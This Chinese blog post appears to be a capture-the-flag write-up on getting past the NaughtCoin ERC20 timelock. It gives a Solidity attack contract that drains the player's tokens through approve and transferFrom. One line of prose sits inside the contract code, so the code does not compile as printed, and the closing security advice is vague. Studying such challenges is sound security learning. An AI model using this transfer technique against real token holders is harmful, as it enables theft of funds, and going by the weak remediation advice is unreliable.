如何绕过 NaughtCoin 合约的时间锁（TimeLock）限制：基于 ERC20 的攻击合约分析

简介

在这个博客中，我们将探讨如何绕过一个 ERC20 合约中的时间锁机制（TimeLock），以便在锁定期内转移代币。我们以 NaughtCoin 合约为例，展示了如何编写攻击合约，并详细分析了如何解决出现的授权错误问题。我们会分步骤地解释这一过程，确保您能够理解如何利用 ERC20 标准进行安全性分析和合约攻击。

---

背景：NaughtCoin 合约

假设我们有一个 ERC20 代币 NaughtCoin，并且其中实现了一个时间锁定功能，禁止代币持有者在锁定期内转移代币。具体来说，合约包含以下重要部分：

uint256 public timeLock = block.timestamp + 10 * 365 days;  // 锁定期为10年
address public player;  // 玩家地址

timeLock 变量定义了一个时间锁，只有在锁定期结束后，代币持有者才能进行转移操作。同时，通过 lockTokens 修饰符，我们限制了 player 地址在 timeLock 前无法执行转账。

modifier lockTokens() {
    if (msg.sender == player) {
        require(block.timestamp > timeLock, "Tokens are locked");
        _;
    } else {
        _;
    }
}

这意味着 player 只能在锁定期结束后才能自由转移代币。为了绕过这一限制，我们需要寻找一种方法，在锁定期内转移 NaughtCoin。

---

绕过时间锁的基本思路

虽然合约通过 lockTokens 修饰符限制了 player 地址的 transfer 调用，但 ERC20 标准还提供了 approve 和 transferFrom 方法，它们可以被用来绕过这种限制。如果 player 通过 approve 授权攻击合约代为操作代币，攻击合约就可以利用 transferFrom 将代币转移到攻击者的地址，而不受时间锁的影响。

攻击合约的设计

为了实现这一攻击，我们设计了一个攻击合约，它分为两个步骤：授权和转账。

1. 授权函数 (approveForAttack)： 玩家通过 approve 授权攻击合约可以转移其所有代币。授权后的额度必须至少与玩家的代币余额相等。

2. 转账函数 (executeAttack)： 攻击合约调用 transferFrom 将代币从玩家地址转移到攻击者地址。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./NaughtCoin.sol";

contract AttackNaughtCoin {
    NaughtCoin public naughtCoin;

    constructor(address _naughtCoinAddress) {
        naughtCoin = NaughtCoin(_naughtCoinAddress);
    }

    // 授权函数
    授权需要从外部授权，有关授权的方式，请查看https://blog.csdn.net/2201_75798391/article/details/145293213

    // 执行攻击转账函数
    function executeAttack() external {
        address player = naughtCoin.player();
        uint256 balance = naughtCoin.balanceOf(player);

        // 检查攻击合约是否有足够的授权额度
        uint256 allowance = naughtCoin.allowance(player, address(this));
        require(allowance >= balance, "Insufficient allowance");

        // 使用 transferFrom 将代币转移到攻击者地址
        naughtCoin.transferFrom(player, msg.sender, balance);
    }

    // 检查授权额度
    function checkAllowance() external view returns (uint256) {
        address player = naughtCoin.player();
        return naughtCoin.allowance(player, address(this));
    }
}

攻击流程

1. 玩家授权： 授权需要从外部授权，有关授权的方式，请查看Web3 中如何让玩家授权攻击合约转移代币：多种授权方式解析-CSDN博客，玩家授权攻击合约转移他们的所有代币。授权时，攻击合约获得与玩家余额相同的额度。

2. 攻击合约转移代币： 一旦授权成功，攻击者就可以调用 executeAttack 函数，将玩家的所有代币转移到攻击者的地址。

   attackContract.executeAttack();
   

解决 "Insufficient allowance" 错误

在最初的尝试中，我们遇到了 Insufficient allowance 错误，表明攻击合约没有足够的授权额度。这通常发生在以下几种情况下：

• 授权额度没有正确设置：如果 approve 授权的额度与玩家的代币余额不匹配，transferFrom 将无法成功。
• 授权被覆盖：如果玩家在授权后再次调用 approve 修改了授权额度，原先的授权将会被覆盖。

为了解决这个问题，我们增加了一个函数 checkAllowance 来查看攻击合约的授权额度，并确保它至少与玩家的代币余额相等：

function checkAllowance() external view returns (uint256) {
    address player = naughtCoin.player();
    return naughtCoin.allowance(player, address(this));
}

通过在攻击前调用 checkAllowance，可以确保授权额度是正确的，并且足够执行 transferFrom。

安全性分析

这个攻击合约展示了如何利用 ERC20 的 approve 和 transferFrom 方法绕过时间锁限制。然而，这种攻击仅适用于合约设计存在漏洞的情况。在现实应用中，开发者应注意以下安全设计：

1. 避免过度依赖 approve 和 transferFrom：合约应避免使用这些方法绕过用户控制的操作，尤其是在涉及锁定期或权限控制时。
2. 限制 approve 操作：可以通过限制 approve 的调用者，确保只有特定的地址能够授权代币转移，避免类似攻击。

---

结论

在本文中，我们深入探讨了如何绕过 NaughtCoin 合约的时间锁定机制，成功转移代币。通过设计攻击合约并利用 ERC20 的 approve 和 transferFrom 方法，攻击者能够绕过锁定期进行代币转移。通过这种方式，我们展示了如何利用现有的合约漏洞进行安全性分析，同时也提醒开发者在设计合约时，如何避免这种绕过授权的攻击。

希望这篇博客能够帮助您更好地理解 ERC20 合约的安全性，并为您在合约开发中提供一些有价值的启示。如果您有任何问题或进一步的讨论，欢迎在评论区留言，我们将继续探索区块链安全的更多话题！